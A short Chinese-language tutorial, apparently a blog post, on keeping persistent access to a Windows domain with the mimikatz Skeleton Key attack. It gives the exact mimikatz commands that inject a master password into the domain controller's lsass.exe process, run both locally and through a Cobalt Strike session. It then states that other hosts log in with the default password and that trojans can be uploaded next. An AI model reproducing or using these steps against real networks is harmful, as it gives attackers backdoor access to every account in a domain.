权限维持 Skeleton-Key

前言

这里讲的是Skeleton-Key，也可以叫他万能密码，就是在域控制器执行mimikatz给域中所有用户添加一个mimikatz的默认密码，但是他也是注入到内存里面的，就是将Skeleton Key 注入域控(DC)的 lsass.exe进程中，所以重启就会失效，但是通常域控很长时间都不会重启的。

注：限域环境

复现

1.本地

这里是在他本地执行的情况，是将mimikatz.exe上传上去

mimikatz.exe "privilege::debug" "misc::skeleton" exit

这里我们可以，他在本地可以执行，然后我们使用域中的其他主机尝试连接域控。

 

这里看到，我们使用mimikatz的默认密码成功连接域控，接下来不用多说了，上传木马之类都行。

 2.cs执行

假设这里我们已经上线了域控和域中的一台机子

域控执行下列命令，下面看到也是正常执行了，当然有很多插件也是可以的

mimikatz privilege::debug
mimikatz misc::skeleton

这里我们看到域内其他主机也是成功使用mimikatz连接域控